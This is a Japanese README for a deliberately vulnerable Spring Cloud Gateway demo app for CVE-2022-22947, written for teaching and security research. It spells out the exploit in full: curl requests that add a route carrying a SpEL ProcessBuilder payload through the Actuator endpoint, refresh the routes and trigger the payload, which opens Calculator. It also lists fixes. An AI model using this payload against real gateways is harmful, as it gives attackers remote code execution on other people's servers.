CVE-2022-22947 Spring Cloud Gateway 脆弱性検証アプリケーション

これは CVE-2022-22947 脆弱性をデモおよび検証するための Spring Cloud Gateway アプリケーションです。このアプリケーションは脆弱なバージョンの Spring Cloud Gateway を使用しており、Actuator エンドポイントを介して任意のコードを実行できます。

脆弱性概要

CVE-2022-22947 は Spring Cloud Gateway におけるリモートコード実行脆弱性です。攻撃者は Actuator エンドポイントを介して悪意のある SpEL 式を含むルートを動的に追加し、任意のコードを実行できます。

環境要件

Java 11+
Maven 3.6+
macOS システム（電卓デモ用）

アプリケーションの起動

mvn spring-boot:run

アプリケーションは http://localhost:8080 で起動します。

脆弱性検証手順

ステップ1：悪意のあるルートの追加

/actuator/gateway/routes/test エンドポイントに POST リクエストを送信し、悪意のある SpEL 式を含むルートを追加します：

curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
        }
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
        }
      }
    ]
  }'

ステップ2：ルートのリフレッシュ

/actuator/gateway/refresh エンドポイントに POST リクエストを送信してルートをリフレッシュします：

curl -X POST http://localhost:8080/actuator/gateway/refresh

ステップ3：悪意のあるコードのトリガー

悪意のあるルートにアクセスしてコード実行をトリガーします：

curl http://localhost:8080/test

期待される結果

脆弱性を悪用すると、macOS の電卓アプリケーションが起動します。

重要なリクエスト情報

1. 悪意のあるルート追加リクエスト

エンドポイント: POST /actuator/gateway/routes/test

リクエストヘッダー:

Content-Type: application/json

リクエストボディ:

{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
      }
    }
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    }
  ]
}

2. ルートリフレッシュリクエスト

エンドポイント: POST /actuator/gateway/refresh

3. 脆弱性トリガーリクエスト

エンドポイント: GET /test

脆弱性分析

この脆弱性により、攻撃者は Actuator エンドポイントを介してルートを動的に追加し、ルートフィルターで SpEL 式を使用して任意のコードを実行できます。脆弱性の核心は、Spring Cloud Gateway がルート設定内の SpEL 式を適切に処理しないことです。

修正推奨事項

Spring Cloud Gateway 3.1.1+ または 3.0.7+ にアップグレードする
Actuator エンドポイントを無効にするか、アクセスを制限する
Spring Security を使用して Actuator エンドポイントを保護する

バージョン情報

Spring Boot: 2.6.2
Spring Cloud: 2021.0.0
Spring Cloud Gateway: 3.1.0 (脆弱なバージョン)

注意事項

⚠️ セキュリティ警告: このアプリケーションは教育およびセキュリティ研究目的のみに使用されます。本番環境で使用またはデプロイしないでください。

⚠️ 法的声明: このアプリケーションを使用して脆弱性テストを行う場合は、適切な権限があることを確認してください。無許可のテストは法律に違反する可能性があります。

CVE-2022-22947-pb-ai

人気